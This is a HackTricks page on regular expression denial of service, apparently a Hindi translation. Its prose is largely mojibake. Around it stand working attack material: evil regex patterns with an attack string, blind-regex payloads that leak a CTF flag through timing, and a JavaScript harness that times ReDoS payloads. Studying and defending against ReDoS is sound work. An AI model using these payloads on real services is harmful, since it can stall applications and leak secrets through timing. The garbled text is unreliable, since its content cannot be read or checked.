8.3 KiB
Regular expression Denial of Service - ReDoS
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Regular Expression Denial of Service (ReDoS)
рдПрдХ Regular Expression Denial of Service (ReDoS) рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ (рдкрд╛рда рдореЗрдВ рдкреИрдЯрд░реНрди рдЦреЛрдЬрдиреЗ рдФрд░ рдореЗрд▓ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛) рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред рдХрднреА-рдХрднреА, рдЬрдм рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╡реЗ рдмрд╣реБрдд рдзреАрдореА рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ рд╡реЗ рдЬрд┐рд╕ рдкрд╛рда рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣реА рд╣реИрдВ рд╡рд╣ рдмрдбрд╝рд╛ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдзреАрдорд╛рдкрди рдЗрддрдирд╛ рдмреБрд░рд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдкрд╛рда рдХреЗ рдЖрдХрд╛рд░ рдореЗрдВ рдЫреЛрдЯреЗ-рдЫреЛрдЯреЗ рдмрдврд╝реЛрддрд░реА рдХреЗ рд╕рд╛рде рддреЗрдЬреА рд╕реЗ рдмрдврд╝рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдРрд╕рд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИред
The Problematic Regex Na├пve Algorithm
Check the details in https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
Evil Regexes
рдПрдХ рдмреБрд░реА рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдкреИрдЯрд░реНрди рд╡рд╣ рд╣реИ рдЬреЛ рдирд┐рд░реНрдорд┐рдд рдЗрдирдкреБрдЯ рдкрд░ рдЕрдЯрдХ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ DoS рд╣реЛрддрд╛ рд╣реИред рдмреБрд░реА regex рдкреИрдЯрд░реНрди рдЖрдорддреМрд░ рдкрд░ рд╕рдореВрд╣ рдХреЗ рд╕рд╛рде рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдФрд░ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдпрд╛ рд╡реИрдХрд▓реНрдкрд┐рдХрддрд╛ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд▓реИрдкрд┐рдВрдЧ рдХреЗ рд╕рд╛рде рд╣реЛрддреА рд╣реИрдВред рдмреБрд░реА рдкреИрдЯрд░реНрди рдХреЗ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} for x > 10
рдпреЗ рд╕рднреА рдЗрдирдкреБрдЯ aaaaaaaaaaaaaaaaaaaaaaaa!
рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред
ReDoS Payloads
String Exfiltration via ReDoS
рдПрдХ CTF (рдпрд╛ рдмрдЧ рдмрд╛рдЙрдВрдЯреА) рдореЗрдВ, рд╢рд╛рдпрдж рдЖрдк Regex рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА (рдзреНрд╡рдЬ) рдореЗрд▓ рдЦрд╛рддреА рд╣реИред рдлрд┐рд░, рдпрджрд┐ рдПрдХ Regex рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдпрд╣ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рд╣реИ рддреЛ рдирд╣реАрдВ рддреЛ рдкреГрд╖реНрда рдХреЛ рдлреНрд░реАрдЬ (рдЯрд╛рдЗрдордЖрдЙрдЯ рдпрд╛ рд▓рдВрдмреЗ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рд╕рдордп) рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдЖрдк рдПрдХ-рдПрдХ рдХрд░рдХреЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ:
- In this post you can find this ReDoS rule:
^(?=<flag>)((.*)*)*salt$
- Example:
^(?=HTB{sOmE_fl┬зN┬з)((.*)*)*salt$
- In this writeup you can find this one:
<flag>(((((((.*)*)*)*)*)*)*)!
- In this writeup he used:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
ReDoS Controlling Input and Regex
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд ReDoS рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЗрдирдкреБрдЯ рдФрд░ regex рджреЛрдиреЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ:
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
Tools
References
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
{% hint style="success" %}
рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ telegram рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ Twitter ЁЯРж рдкрд░ рд╣рдореЗрдВ рдлреЙрд▓реЛ рдХрд░реЗрдВ @hacktricks_live.
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud github рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред